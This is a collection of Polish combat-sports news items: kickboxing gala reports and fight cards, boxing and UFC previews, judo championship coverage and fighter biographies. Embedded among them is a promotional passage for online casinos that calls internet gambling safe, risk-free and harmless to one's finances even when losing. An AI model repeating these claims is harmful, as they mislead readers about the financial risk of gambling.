Amfiteatr, który stał się areną zmagań fighterów wypełnił się po brzegi. Na imprezie gościli szkoleniowcy kadr K-1 i low kick Tomasz Mamulski oraz Witold Kostka, wiceprezes PZKB Gerard Zdziarski czy też uznany kickbokser Tomasz Sarara.

Decydowali sędziowie

W większości przypadków rozstrzygnięcie walk przypadło arbitrom. Jako pierwsi na ring weszli Bartłomiej Kuźniar z NKSW oraz Mateusz Michalik z Halnego Nowy Sącz, którzy rywalizowali w kategorii 63,5kg. Walka szybka, z dużą ilością ciosów oraz kopnięć. Najwięcej emocji dostarczyła trzecia runda, w której Kuźniar i Michalik zdecydowanie podkręcili tempo i chcieli zaznaczyć swoją wyższość. Obaj byli liczeni przez arbitra ringowego, jednak nie poddali się. Ostatecznie sędziowie jako zwycięzcę wskazali Kuźniara. W kategorii 81kg Maciej Kiełbasa okazał się lepszy od Marcina Malickiego.

Trzecia walka gali zakończyła się przed czasem. W kategorii 75kg pojedynek stoczyli Krzysztof Hornik z NKSW oraz Kamil Stolarczyk z Gracie Barra Chorzów. Przed pojedynkiem wydawało się, że najbardziej prawdopodobny scenariusz to rozstrzygnięcie werdyktem sędziów. Jednak przewidywania są tylko przewidywaniami. Już na początku walki Hornik potraktował swojego przeciwnika potężnym lewym sierpowym. Stolarczyk padł, jednak miał siłę wstać, ale sędzia uznał, że nie jest zdolny do kontynuowania rywalizacji. W Rabce Zdroju doszło do pojedynku z udziałem pań. Na zasadach Pro Am w kategorii 52kg zmierzyły się Beata Zięba z NKSW i Paulina Nieć z Fight House 27. Od początku obie zawodniczki ruszyły na siebie. Przewagę zyskała Nieć, która zasypała swoją rywalkę gradem ciosów i to dało jej zwycięstwo.

W kategorii 75kg doszło do pojedynku Bartłomieja Domalika z Jarosz Fight Club z Bartoszem Frycem reprezentującym barwy OKK Oświęcim. Obaj mieli inny pomysł na walkę. Domalik atakował niskimi kopnięciami i był wyważony, z kolei Fryc starał się używać kolan. Sędziowie przyznali zwycięstwo zawodnikowi z Oświęcimia. Filip Bienias z NKSW spotkał się z Marcinem Stopką z Fight House 27 w kategorii 71kg. Pojedynek zakończył się już w pierwszej odsłonie. Bienias rozciął łuk brwiowy rywala i lekarz zarządził przerwanie walki.

Pas Kocaja

Głównym wydarzeniem wieczoru była rywalizacja Patryka Kocaja  z Jarosz Fight Club z Kacprem Urbańczykiem z OKK Oświęcim. Od początku w ringu działo się. Kocaj ruszył na rywala niesiony dopingiem, ale szybko nadział się na lewy sierpowy. Zawodnik Jarosz Fight Club był liczony, ale wstał i kontynuował walkę. Urbańczyk starał się walczyć na dystans i czekał na swoją szansę. W trzeciej rundzie Kocaj w sposób niedozwolony zaatakował swojego rywala, za co odebrano mu punkty. Decyzja sędziów była jednoznaczna – wygrana przypadła zawodnikowi Jarosz Fight Club, który zarazem stał się posiadaczem pasa Battle of Warriors.

KM

Nadchodzi walka roku?

Dla wielu pojedynek roku odbył się w maju. Oczywiście chodzi o starcie Floyda Mayweathera Jr z Manny Pacquiao. Okazuje się, że niekoniecznie i prawdziwe emocje mogą dopiero nadejść.

O jaki pojedynek chodzi? Arcyciekawie zapowiada się starcie Miguela Cotto z Saulem Alvarezem. Dwaj mocni pięściarze, którzy znają smak wygrywania i dzierżenia mistrzowskich pasów w swoich dłoniach staną naprzeciw siebie 21 listopada.

Duża kasa, duża szansa

Cotto jest o dziewięć lat starszy od Alvareza i niejedno już w życiu widział. Czy na pewno? Meksykanin mimo młodego wieku ma już na swoim koncie czterdzieści sześć walk, czyli o dwie więcej niż Cotto. Dodatkowo Alvarez przegrał tylko raz, a Portorykańczyk zanotował cztery przegrane. W tym przypadku jest wspólny mianownik –obaj przegrywali z Floydem Mayweatherem Jr.

Portorykańczyk przez czternaście lat zawodowej kariery posłał na deski wielu rywali. Wygrywał z Antonio Margarito, Rocky Martinezem, Zabem Judahem, Shanem Mosleyem, a ostatnio pokonał Daniela Geale’a. Trzy lata pozostaje niepokonany. W 2012 roku Austin Trout znalazł receptę na Cotto. 34-latek jest posiadaczem pasa WBC w wadze średniej, który będzie stawką pojedynku z Alvarezem. Obaj wejdą do ringu 21 listopada w Mandalay Bay Hotel & Casino w Las Vegas.

Popularny „Canelo” jest młodszy, ale szedł jak burza dopóki nie zatrzymał go Mayweather. Po porażce we wrześniu 2013 roku z Amerykaninem stoczył trzy pojedynki, w których triumfował i znowu stał się jednym z czołowych pięściarzy wagi średniej. W tym roku walczył raz, ale zaprezentował niezwykłą siłę. Alvarez w maju nie miał litości dla Jamesa Kirklanda, którego już w trzeciej rundzie posłał na deski.

Mówi się, że ta rywalizacja jest opłacalna dla obu pięściarzy. Wiadomo, że nie można mówić o takich pieniądzach jakie towarzyszyły pojedynkowi Mayweathera z Pacquiao, ale stawki są wysokie. Cotto ma zgarnąć trzydzieści milionów dolarów, Alvarez o około dwadzieścia mniej.

Cotto faworytem?

Obaj są na rożnych etapach swoich karier. Cotto zna smak sukcesu i ma wyrobione nazwisko, z kolei Alvarez cały czas może zdobywać kolejne laury. W listopadzie okaże się, czy czas Portorykańczyka na zawodowym ringu dobiega końca.

Freddie Roach mocno wierzy w Cotto. Szkoleniowiec chce jak najlepiej przygotować 34-letniego boksera do rywalizacji z „Canelo”. – Plan dla Miguela jest już przygotowany. Cotto jest teraz w formie i powtórzy drogę, którą kroczył przed ostatnim pojedynkiem. Zadaje więcej ciosów niż "Canelo". Nasz plan jest doskonały. Moim zdaniem będzie to wspaniały pojedynek, który zasłuży na miano walki roku – mówi Roach. I dodaje: – Walka Mayweather vs Pacquiao była inna. Teraz Miguel i Alvarez wejdą do ringu, aby walczyć. Wszyscy kibice będą zadowoleni z tej walki.

Fot. zdjęcie poglądowe

KM

Jędrzejczyk ponownie z Gadelhą

Brazylijka zabiegała o możliwość stoczenia walki z polską mistrzynią najlepszej organizacji mieszanych sztuk walki na świecie w wadze słomkowej. Pojedynek Claudii Gadelhy z Joanną Jędrzejczyk odbędzie się podczas gali UFC 195.

Polka nadal pozostaje niepokonana i robi ustawiczne postępy. Krok po kroku staje się coraz bardziej rozpoznawalną postacią mieszanych sztuk walki. Jej postawa w oktagonie budzi entuzjazm, gdyż w dwóch ostatnich walkach zaprezentowała się niezwykle efektownie.

Która wygrała?

Wątpliwości było wiele. Joanna Jędrzejczyk spotkała się z Claudią Gadelhą podczas gali UFC on Fox 13 w grudniu 2014 roku. Pojedynek trwał trzy rundy. Początek starcia przebiegał pod dyktando Brazylijki, która wykorzystywała swoją przewagę w parterze. Wydawało się, że Polce będzie trudno przeciwstawić się naporowi Gadelhy, jednak w drugiej rundzie zawodniczka z Olsztyna pokazała siłę. Jędrzejczyk celnie punktowała swoją rywalkę w stójce. 26-latka z Mossoro nie pozostawała dłużna. Obie fighterki stworzyły ciekawe widowisko, w którym dominowała przede wszystkim walka. Nie było kalkulacji. Gadelha miała świadomość, że dominuje w parterze i za wszelką cenę chciała sprowadzić walkę na ziemię, jednak Jędrzejczyk skutecznie się broniła. Trzy rundy nie wyłoniły zwyciężczyni. Obserwatorzy zerkali jeden na drugiego pytając się wzrokiem: która z nich była lepsza. Sędziowie stanęli przed trudnym wyborem.

Ostatecznie wygrana przypadła Jędrzejczyk, czym wielu obserwatorów było zdziwionych. Zaskoczenia nie kryła Gadelha, która była faworytką starcia. Polka zaimponowała wolą walki i odwagą w rywalizacji z wyżej notowaną rywalką. Brazylijka nie zamierzała się poddać i od początku zabiegała o pojedynek rewanżowy. Gadelha będzie miała okazję po raz kolejny spotkać się z polską fighterką. Tyle, że Jędrzejczyk posiada pas mistrzowski UFC i jest pewna siebie, a także zna własną wartość. Podczas pierwszego starcia z Gadelhą tak naprawdę aklimatyzowała się w amerykańskiej organizacji. Teraz jest czołową postacią UFC.

Razem z Rondą

Gadelha po porażce z Jędrzejczyk stoczyła tylko jeden pojedynek. Podczas gali UFC 190 pokonała po trzech rundach Jessicę Aguilar. Teraz po raz kolejny czeka na Jędrzejczyk, która jako jedyna do tej pory znalazła sposób na Brazylijkę.

Gadelha szła jak burza w UFC i liczyła, że to jej przypadnie tytuł mistrzyni wagi słomkowej. Jej plany zepsuła Jędrzejczyk, dlatego 26-latka jak niczego innego pragnie zrewanżować się Polce. Z kolei 28-latka z Olsztyna po rywalizacji z Gadelhą wygrała dwie walki, wywalczyła mistrzostwo UFC. Co ciekawe, w obu przypadkach Polka kończyła swoje pojedynki przed czasem. Obserwatorzy byli zachwyceni stylem Jędrzejczyk.

Gala UFC 195 odbędzie się 2 stycznia 2016 roku MGM Grand Garden Arena w Las Vegas. Podczas gali ma odbyć się pojedynek o tytuł w wadze koguciej między Rondą Rousey i Holly Holm. Organizacja UFC nie wydała jeszcze oficjalnego oświadczenia w tej kwestii, jednak wszystko wskazuje na to, że wszystko jest już dopięte na ostatni guzik.

KM

Chabib Nurmagomiedow

Rosyjski zawodnik MMA Dagestańskiego pochodzenia urodzony 20 września 1988 roku w Machaczkale. Chabib od urodzenia trenował sztuki walki pod okiem ojca. Przygodę rozpoczął od zapasów lecz nie odniósł w niej sukcesów. Po pięciu latach postanowił pójść śladami ojca i zaczął trenować judo. Następnie przyszedł czas  na sambo bojowe w którym zdobył dwukrotnie mistrzostwo Świata oraz wielokrotnie zwyciężał w krajowych zawodach.  W wieku 19 lat zadebiutował w MMA na zawodach organizowanych w Połtawie wygrywając z Azerem Wiusałem Bajramowem przez poddanie. Miesiąc później zwyciężył w turnieju Pankration Artium w Moskwie, pokonując jednego wieczora trzech rywali. W sierpniu 2009 roku w swoim rodzinnym Dagestanie wygrał mini-turniej gdzie pokonał dwóch rywali, obu przez techniczny nokaut. Pod koniec roku, w listopadzie wygrał turniej M-1 Selection poddając utalentowanego Szachbułata Szamchałajewa dźwignią na rękę. W latach 2010-2011 walczył w dwóch czołowych rosyjskich federacjach MMA M-1 Global i ProFC gdzie w tej drugiej stoczył aż sześć walk w 2011 roku, wszystkie wygrywając przed czasem. Miesiąc po ostatniej walce na ProFC, która miała miejsce w październiku w mediach ukazała się informacja, że Rosjanin podpisał kontrakt z UFC. Niepokonany w 16 zawodowych walkach, na początku 2012 roku w debiucie dla UFC zmierzył się z Irlandczykiem Kamalem Shalorusem. Nurmagomiedow pokonał Irlanczyka poddaniem w ostatniej rundzie. W dwóch kolejnych pojedynkach dla UFC pokonywał doświadczonych Brazylijczyków Gleisona Tibau i Thiago Tavaresa, tego drugiego przez ciężki nokaut w pierwszej rundzie. W maju 2013 roku wygrał z Abelem Trujillo, ustalając przy tym rekord udanych sprowadzeń do parteru w ciągu jednego pojedynku. We wrześniu 2013 roku zdominował także Amerykanina Pata Healego po trzy rundowym pojedynku. 19 kwietnia 2014 roku pokonał na punkty Brazylijczyka Rafaela Dos Anjosa.

Do Astany po medal

Judocy odliczają godziny do rozpoczęcia mistrzostw świata w Astanie. Podczas ubiegłorocznego czempionatu w Czelabińsku reprezentacja Polski zdobyła jeden medal za sprawą Katarzyny Kłys. Jak będzie tym razem?

Brązowy medal Kłys był niczym woda dla spragnionego na pustyni. Polskie judo przez jedenaście lat cierpiało ze względu na brak medalu mistrzostw świata. Nasza zawodniczka przełamała fatalną passę. Fani judo liczą, że teraz Polacy będą regularnie odnosili sukcesy na światowym czempionacie.

Powtórzyć wynik

Wywalczenie medalu w Astanie to plan minimum dla naszej reprezentacji. Zwłaszcza, że w tym roku biało-czerwoni blado wypadli podczas Igrzysk Europejskich w Baku, które równocześnie były dla nich mistrzostwami Europy. Wszystko przez odebranie prawa do organizacji imprezy Wielkiej Brytanii. W Astanie Polacy muszą powtórzyć wynik, ale nie z Baku, lecz z Czelabińska.

Bezapelacyjną faworytką do medalu w kategorii 78kg jest Katarzyna Kłys. Obecny sezon w wykonaniu judoczki jest przeciętny, jednak miała chwile przebłysku dobrej formy. W Baku Kłys zajęła 5. miejsce, co było najlepszym wynikiem wśród reprezentantów Polski. Dobrą dyspozycję prezentuje również Daria Pogorzelec (na zdjęciu) w kategorii +78kg. Judoczka Wybrzeża Gdańsk jest przecież piątą zawodniczką Igrzysk Olimpijskich w Londynie. Wśród panów bezapelacyjnym numerem jeden pozostaje Maciej Sarnacki. Polak rywalizujący w kategorii +100kg prezentuje nierówną formę. Wygrał Puchar Świata na warszawskim Torwarze, a potem zgasł, jednak obudził się w lipcu w Tiumeniu, gdzie podczas zawodów Grand Slam zajął trzecią pozycję. Warto również pamiętać o potencjale Agaty Ozdoby w kategorii 63kg. Judoczka AZS AWF Katowice w ubiegłym roku wywalczyła brązowy medal mistrzostw Europy.

Należy wiązać nadzieje z żeńską kadrą, która podczas ubiegłorocznego czempionatu przegrała pojedynek o brązowy medal z Niemkami. Teraz nasze judoczki mierzą w podium.

Wyeliminowane przez kontuzje

Do Astany miały udać się Ewa Konieczny i Agata Perenc, jednak z powodu urazów obie zawodniczki będą mogły tylko śledzić poczynania koleżanek i kolegów. Rywalizującą w kategorii 48kg Konieczny z udziału w mistrzostwach wyeliminowała kontuzja kolana, której doznała podczas zgrupowania w Słowenii. Z kolei Perenc (52kg), która w tym sezonie notowała dobre starty na arenie międzynarodowej złamała kość strzałkową.

Pierwotnie do udziału w mistrzostwach zgłoszono siedemnastu zawodników z Polski, jednak w wyniku kontuzji ta liczba zmalała do piętnastu. Anna Borowska (57kg) i Karolina Tałach (63kg) przewidziane są tylko do startu w turnieju drużynowym.

Rywalizacja ma odbywać się w czternastu wagach – siedmiu żeńskich i siedmiu męskich. Na tatami zaprezentuje się ponad ośmiuset judoków ze 130 krajów. Rywalizacja wystartuje 24 sierpnia, a pierwsi Polacy zaprezentują się dzień później. Występy biało-czerwonych zainaugurują Karolina Pieńkowska (52kg) oraz Aleksander Beta (66kg). Turniej zakończą zmagania drużynowe, gdzie zaprezentuje się reprezentacja kobiet. 

 

KM

DSF Kickboxing Challenge – Polska vs Węgry

Możemy już zaprezentować kolejne nazwiska zawodników, którzy wezmą udział w wielkim wydarzeniu jakim będzie gala DSF Kickboxing Challenge w Płocku w piątek 18-go września. Tym razem pragniemy przedstawić zawodników, którzy występem w hali Orlen Arena otworzą sportowe święto Kickboxingu i walk na zasadach K-1 i Full-contact.

I tak w pierwszym starciu staną naprzeciw siebie najlżejsi zawodnicy kategorii piórkowej. W roli gospodarza wystąpi Kamil Koperski z Rajewski Team Płock i podejmie wyzwanie, które rzucił mu Sebastian Słoń z SKKB Kielce. Nie trzeba dodawać, że pojedynek ma podtekst „Świętej Wojny” jaką na niwie piłki ręcznej toczą zawsze Płock i Kielce.

Derbowy wewnątrz płocki wymiar będzie miało starcie Łukasza Bujalskiego z UKS Sanda Płock i Dawida Czyżyka z Rajewski Team Płock. To nie tylko wymiar ciężaru wagi ciężkiej na tej gali, ale obaj dźwigać będą brzemię odpowiedzialności za konfrontację trenerską Piotra Paśnika i Roberta Rajewskiego Seniora. Zapewne ich klubowi koledzy na trybunach będą mocno ściskać kciuki a temperatura tej walki będzie ogromna.

Wielkim testem młodych talentów będzie bój jaki stoczą 21-letni Kamil „Tornado” Szłapka z Our Team Poznań i Marcin Stopka z Fight House 27 Nowy Sącz. Być może będziemy świadkami narodzin gwiazd formuły K-1, bowiem obaj do takiej roli aspirują. Szłapka to Mistrz Polski w formule Full-contact i wicemistrz w formule K-1 Rules. Z kolei Stopka to podwójny złoty medalista ostatnich Otwartych Mistrzostw Czech w Kickboxingu i podopieczny jednego z najlepszych polskich zawodników formuły K-1 na niwie zawodowej Rafała Dudka.

Kolejne z awizowanych zestawień to także pojedynek Płock kontra Kielce i będzie ono gratką dla kibiców nie tylko Kickboxingu, ale także obserwatorów sportowej rywalizacji między tymi miastami, bowiem utalentowanyDawid Wysokiński z miejscowego Gedeon Płock zmierzy się z Grzegorzem Kołodziejem z SKKB Kielce. Walka odbędzie się w kategorii półśredniej do 67 kg.

Tą część gali zamknie pojedynek zawodników, którzy już dobrze pokazali się w cyklu DSF Kickboxing Challenge czyli Michała Dykowskiego z Freestyler Włocławek i Jakuba Bartnika z X Fight Piaseczno. Stanowić on będzie podsumowanie wstępnej karty walk półzawodowych nazywanej Pro-Am, ale także trenerski pojedynek znanego płocczanina Marcina Różalskiego, który trenuje Dykowskiego i Piotra Siegoczyńskiego – pierwszego polskiego mistrza świata, pełniącego rolę szkoleniowca Bartnika i zarazem Dyrektora Sportowego projektu DSF Kickboxing Challenge.

W pojedynkach głównej karty kibice zobaczą w akcji mistrzów organizacji: Dorotę Godzinę Łukasza Wichowskiego. Także wschodzące gwiazdy europejskiej sceny Radosława Paczuskiego Jana Lodzika. Cała czwórka to fighterzy elitarnej grupy DSF Kickboxing Team, do którego należą najlepsi polscy zawodnicy. Miejscowi fani zobaczą zapowiedzianą wcześniej walkę Mateusza Rajewskiego z Płocka i Cezarego „Juniora” Zugaja z Białegostoku. Ogółem kibice obejrzą , aż 13 emocjonujących starć, które zostaną wkrótce oficjalnie ogłoszone.

Płock należy do najsilniejszych polskich ośrodków Sztuk Walki. Zawodnicy z Płocka i poprzez walki w Płocku trafiali na największe polskie i europejskie areny K-1 i MMA. Mamy nadzieję, że poprzez najszybciej rozwijający się polski projekt gal DSF Kickboxing Challenge, stanie się podobnie i w przypadku młodych gwiazd występujących w Orlen Arena.

 

Poniżej aktualne zestawienie pojedynków:

Walki Pro-Am

K-1 Rules 57 kg: Sebastian Słoń (SKKB Kielce) vs Kamil Koperski (Rajewski Team Płock)

K-1 Rules +91 kg: Łukasz Bujalski (UKS Sanda Płock) vs Dawid Czyżyk (Rajewski Team Płock)

K-1 Rules 70 kg: Kamil Szłapka (Our Team Poznań) vs Marcin Stopka (Fight House 27 Nowy Sącz)

K-1 Rules 67 kg: Dawid Wysokiński (Gedeon Płock) vs Grzegorz Kołodziej (SKKB Kielce)

K-1 Rules 81 kg: Michał Dykowski (Freestyler Włocławek) vs Jakub Bartnik (X Fight Piaseczno)

Karta Główna Walki PRO

K-1 Rules 63,5 kg: Mateusz Rajewski (Rajewski Team Płock) vs Cezary Zugaj Jr. (White Bears Białystok)

Extra Fight

Full-contact 81 kg: Łukasz Wichowski (DSF Kickboxing Team/X Fight Piaseczno) vs TBA

Polska vs Węgry

K-1 Rules 63,5 kg: Jan Lodzik (DSF Kickboxing Team/Tajfun Legionowo) vs TBA (Węgry)

K-1 Rules 56 kg: Dorota Godzina (DSF Kickboxing Team/X Fight Piaseczno) vs TBA (Węgry)

Walka o pas DSF Kickboxing Challenge

K-1 Rules 81 kg: Radosław Paczuski (Polska/DSF Kickboxing Team/Uniq Fight Club) vs TBA

 

Wszystkich chętnych, którzy zechcą przeżyć niezapomniany wieczór w hali Orlen Arena przy Placu Celebry Papieskiej 1 w piątek 18-go września już dziś zachęcamy do zakupu biletów na galę DSF Kickboxing Challenge „Polska vs Węgry” na stronie www.eventim.pl lub w sieci punktów sprzedaży firm.

Hazard bez wychodzenia z domu

Wielu miłośników gier hazardowych zastanawia się, czy kasyna online dają naprawdę tak duże możliwości? Czy faktycznie mogą zastąpić grę w tradycyjnym lokalu? Okazuję się że, tak. Taka forma zabawy jest nawet lepsza i niejednokrotnie bardziej opłacalna dla graczy online, a i ryzyko jest znacznie mniejsze.

Wiele osób jest zdania, że kuszenie się na granie w kasynach internetowych, to tylko strata czasu, że taka forma zabawy nigdy nie zastąpi tradycyjnego kasyna, pełnego adrenaliny, ludzi i krupierów. Fakt, że gracze nie widzą się nawzajem, że nie ma się bezpośredniej styczności z bankierem podczas baccarata, że przeciwnik w pokerze jest anonimowy, wcale nie oznacza, że hazard internetowy jest gorszy od tego prowadzonego w realnym świecie. Wręcz przeciwnie.

Coraz większa liczba graczy, coraz chętniej zagląda właśnie ma serwisy, które oferują taką formę rozrywki. Po pierwsze, nie każdy ma czas i możliwości na osobiste wycieczki do takich parków rozrywki, po prostu nie w każdym mieście się znajdują, a jeśli już są, to zapewniają zaledwie marną grę na starych automatach, a to przecież żadna rewelacja. Po drugie kasyna online oferują grę o stawki dowolne, czyli gramy za tyle ile nas stać.

Jeśli nasz portfel nie oferuje za wiele, a wręcz świeci pustkami, zawsze można zagrać o wirtualne pieniądze, co wcale nie umniejsza doskonałej zabawie. Zawsze, też można zrezygnować z gry w jej trakcie, nie tracą przy tym fortuny. Jednym słowem gra online, jest o wiele bezpieczniejsza zwłaszcza dla początkujących. Trzecią zaletą hazardu internetowego będzie właśnie fakt, że mimo przegranej, finanse nadal zostają w portfelu a my nie stajemy się bankrutami, nie zastawiamy aut, domów, czy innych wartościowych rzeczy. Kończymy grę i tyle. Kasyno w realnym świecie nie działa na takich zasadach. Dla takich miejsc liczy się tylko zysk, nie ważne jakim kosztem. Poza tym, grając w realu trzeba mieć do tego i bogate umiejętności i bogato wypchany portfel, gdyż siadając do ruletki czy pokera kilka groszy nie wystarczy, chęci też nie pomogą.

Kasyna internetowe są więc, doskonałą alternatywą dla tych tradycyjnych. Można grać tylko dla czystej przyjemności, bez obaw, bez ryzyka, i co ważne siedząc przed ekranem własnego komputera i nawet przegrana może wtedy cieszyć, bo chodzi przecież o emocje i dobrą zabawę.

Sprawdź stronę informatora gier online na http://e-play.eu/ i poznaj gry hazardowe przez internet.

Francis Carmont

Francuzki zawodnik MMA urodzony 10 listopada 1981 roku w Paryżu. W zawodowym MMA Carmont zadebiutował  29 lutego 2004 roku na Brytyjskiej gali UKMMAC 6 – Extreme Warriors, pokonał wtedy zawodnika gospodarzy Kuljita Deguna poddając go dźwignią na staw łokciowy. Następne dwie walki dla Brytyjskiej organizacji przegrywał przed czasem. 8 października 2005 roku przegrał pojedynek  z Grzegorzem Jakubowskim na turnieju European Vale Tudo 5 – Phoenix. 3 lipca 2006 roku wygrał turniej na gali KSW 5 pokonując kolejno: Goce Candowskiego przez decyzję sędziowską, Piotra Bagińskiego przez TKO i w finale Roberta Jocza przez decyzję. Swoją czwartą walkę w KSW stoczył 10 listopada 2007 roku na KSW 8. Przegrał wtedy z Karolem Bedorfem przez decyzję sędziowską. Kolejny pojedynek w Polsce stoczył 13 września 2008 roku na gali KSW Extra przeciwko Łukaszowi Jurkowskiemu. Francuz wygrał pojedynek poddając Polaka pod koniec pierwszej rundy. Na gali Strenght and Honor 3, która odbyła się18 września 2010 roku w Genewie stoczył pojedynek z Rosjaninem Emilem Zachariewem. Po niecałych dwóch rundach Francuz zmusił rywala do poddania i tym samym zdobył mistrzostwo organizacji Strenght and Honor Championship. 9 września 2011 roku podpisał kontrakt z UFC. Jeszcze tego samego roku 29 października zadebiutował na gali UFC 137. W swoim debiucie pokonał Chrisa Camozziego przez jednogłośną decyzję sędziów. Swój drugi zwycięski pojedynek stoczył 14 kwietnia 2012 poddając Magnusa Cedenblada duszeniem zza pleców w drugiej rundzie. W kolejnym starciu pokonał przez poddanie Karlosa Vemolę.  Kolejne trzy starcia wygrywał z takimi zawodnikami jak: Tom Lawlor, Lorenz Larkin czy Costas Philippou. Kolejne trzy pojedynki to trzy przegrane walki z Ronaldo Souza, C.B. Dollaway i Thales Leites-em.  27 marca 2015 na gali Bellator 135 pokonał Guilherme Viana decyzją sędziowską.

Michael Bisping

Brytyjski zawodnik MMA urodzony 28 lutego 1979 roku w Nikozji. W wieku 8 lat zaczął trenować jiu-jitsu. W 1994 roku, mając 15 lat wziął udział w pierwszych na Wyspach Brytyjskich zawodach NHB (bez chwytów zabronionych), które były prekursorami przyszłego MMA. Od 18 roku życia rozpoczął treningi kickbokserskie oraz karate gdzie osiągnął mistrzostwo kraju w kickboxingu. W 1998 roku po zdobyciu drugiego mistrzostwa kraju porzucił uprawianie sportu na rzecz pracy zarobkowej. W MMA zadebiutował 10 kwietnia 2004 roku na gali Pride & glory w Newcastle upon Tyne pokonując Steva Mathewsa przed czasem. W swojej trzeciej zawodowej walce zdobył mistrzostwo Cage Rage w wadze półciężkiej, nokautując Marka Epsteina. Pas tej organizacji obronił raz, gdy w rewanżu ponownie znokautowal Epsteina. 30 kwietnia 2005 roku zdobył kolejny pas lokalnej organizacji, tym razem Cage Warriors. W 2006 roku wziął udział w amerykańskim reality show The Ultimate Fighter który wygrał i zdobył kontrakt z UFC, pokonując 24 czerwca w finałowej walce Josha Haynesa przez TKO. Od 2006 do 2008 wygrywał większość swoich pojedynków w kategorii średniej m.in. z Mattem Hamillem czy Chrisem Lebenem, lecz zanotował również porażki z Rashadem Evansem oraz w eliminatorze do walki o pas mistrzowski UFC przez ciężki nokaut z byłym mistrzem PRIDE Danem Hendersonem. Lata 2009-2011 to zwycięstwa Brytyjczyka nad renomowanymi zawodnikami takimi jak: Denis Kang, Yoshihiro Akiyama i Jorge Riverą oraz przegrana z utytułowanym Brazylijczykiem Wanderleiem Silvą. 28 lutego 2012 w kolejnej walce eliminacyjnej do walki o pas uległ na punkty Chaelowi Sonnenowi. W latach 2012-2015 walczył nierówno. Wygrywał z takimi zawodnikami jak Brian Stann czy Cung Le lecz pojedynki z wyżej sklasyfikowanymi zawodnikami przegrywał m.in. z Vitorem Belfortem czy Lukiem Rockholdem. 18 lipca 2015 roku minimalnie na punkty pokonał Thalesa Leitesa. 27 lutego 2016 roku pokonał Andersona Silvę jednogłośną decyzją na punkty. 4 czerwca 2016 roku Michael Bisping pokonał przez nokaut Luke Rockhold w walce o pas mistrzowski i tym samym zdobył upragniony tytuł.

Bitwa z charakterem

W amfiteatrze w Rabce Zdroju odbędzie się kolejna gala organizacji Battle of Warriors. Dojdzie do prawdziwej wymiany, w której rywalizować będą górale z Resztą Polski.

Jak wiadomo górale mają charakter. Często przejawia się on w ogromnym uporze, zaciętej rywalizacji, ambicji i dążenie do perfekcji. W Rabce Zdroju zaprezentują się fighterzy z Jarosz Fight Club oraz Nowotarski Klub Sportów Walki.

Wieczorem o pas

Podczas gali nie zabraknie rywalizacji o najwyższe laury. W walce wieczoru w kategorii do 75kg o pas Battle of Warriors zmierzą się Patryk Kocaj i Kacper Urbańczyk. Walka odbędzie się na dystansie trzech rund, każda będzie trwała trzy minuty.

Kocaj to fighter, dla którego ostatnie miesiące były bogate w sukcesy. W zeszłym roku zawodnik Jarosz Fight Club sięgnął po brązowy medal mistrzostw Polski low kick. Kocaj bardzo dobrze radzi sobie również na płaszczyźnie K-1, czyli najefektowniejszej z kickbokserskich formuł. Podczas Pucharu Polski 2014 w Nowym Targu fighter wywalczył srebrny medal. Urbańczyk już po raz trzeci pojawi się na gali organizacji Battle of Warriors. Zawodnik reprezentujący barwy Oświęcimskiego Klubu Karate ostatni pojedynek stoczył w lutym. Z Bartoszem Domalikiem rywalizował na gali Battle of Warriors Extra 2 w Budzowie. Urbańczyk nie będzie miło wspominał tej rywalizacji. Po trzech rundach sędziowie przyznali zwycięstwo jego przeciwnikowi. Reprezentant Oświęcimskiego Klubu Karate tym samym będzie chciał pokazać, że stać go na wygrywanie. Warto zauważyć, że Kocaj i Urbańczyk rywalizowali ze sobą w czasach amatorskich. Podczas Pucharu Polski K-1 w Nowym Targu obaj zawodnicy spotkali się w ćwierćfinale. Kocaj nie pozostawił złudzeń swojemu rywalowi. Dlatego też Urbańczyk pała rządzą rewanżu. Zwycięzca będzie mógł poszczycić się mistrzowskim pasem.

Stawiają na efektywność

Organizatorzy chcą zorganizować widowisko najwyższych lotów. Pojedynki w K-1 dają gwarancję wspaniałych akcji, mocnych ciosów i szybkiej oraz regularnej walki.

W kategorii 75kg naprzeciw siebie staną Krzysztof Hornik oraz Kamil Stolarczyk. Zawodnik NKSW w tym roku zdobył brązowy medal mistrzostw Polski K-1. Z kolei Stolarczyk dopiero stawia pierwsze kroki w kickboxingu. Debiutował podczas gali Battle of Warriors Extra 2, kiedy wystąpił w zastępstwie. Na co dzień Stolarczyk trenuje MMA.

Podczas gali w Rabce zaprezentuje się jeden z najlepszych specjalistów w wadze 71kg. Filip Bienias będzie mógł sprawdzić umiejętności Marcina Stopki. Na gali zaprezentują się również panie. W kategorii 52kg wystąpią Beata Zięba i Paulina Nieć. Bartosz Domagalik, który podczas ostatniej gali pokonał Urbańczyk spróbuje swoich sił w rywalizacji z z Bartoszem Frycem z OKK Oświęcim.

Start gali 22 sierpnia o godzinie 18.00. Organizatorzy przygotowali osiem pojedynków, które mają pokazać góralskich charakter.

KM

Głowacki może wybierać

Do tej pory wszyscy są pod wrażeniem stylu w jakim Krzysztof Głowacki rozprawił się z Marco Huckiem. Polski pięściarz w jedenastej rundzie posłał Niemca na deski.

Przypomnijmy, zwycięstwo dało Głowackiemu tytuł mistrza świata WBO w wadze junior średniej. Przed pojedynkiem z Huckiem mało kto dawał polskiemu bokserowi większe szanse.

Wielkie zaskoczenie

Zdziwienie i nie tylko. Głowacki znalazł się na ustach całej polskiej opinii publicznej, a cały bokserski świat odmieniał nazwisko Polaka przez wszystkie przypadki. Konsekwentna praca i doskonalenie umiejętności dały pożądany efekt. Głowacki w konfrontacji z Huckiem pokazał siłę charakteru i ogromną moc. Ruszył odważnie na faworyzowanego Niemca. Głowacki konsekwentnie realizował swoją taktykę i obijał bezradnego Hucka.

W szóstej rundzie jeden z ciosów urodzonego w Serbii pięściarza sparaliżował Głowackiego, który padł na deski. Polak podniósł się i dalej realizował swój plan. Aż w dziesiątej i jedenastej rundzie całkowicie zdominował Hucka. Głowacki obijał swojego rywala niemiłosiernie, a ten był bezradny. Popularny „Główka” wygrał, zdobył mistrzostwo świata i zarazem pomścił swojego brata. W czasach amatorskich Huck rywalizował z Jackiem Głowackim, a Krzysztof przyglądał się tej walce z boku. Teraz Polak udowodnił swoją wyższość.

Kolejka chętnych

Teraz nazwisko naszego boksera znają już niemalże wszyscy. Życie Głowackiego wywróciło się do góry nogami, znalazł się w innym bokserskim świecie. Już o nic nie musi prosić, jest mistrzem i to o jego osobę powinni ubiegać się inni.

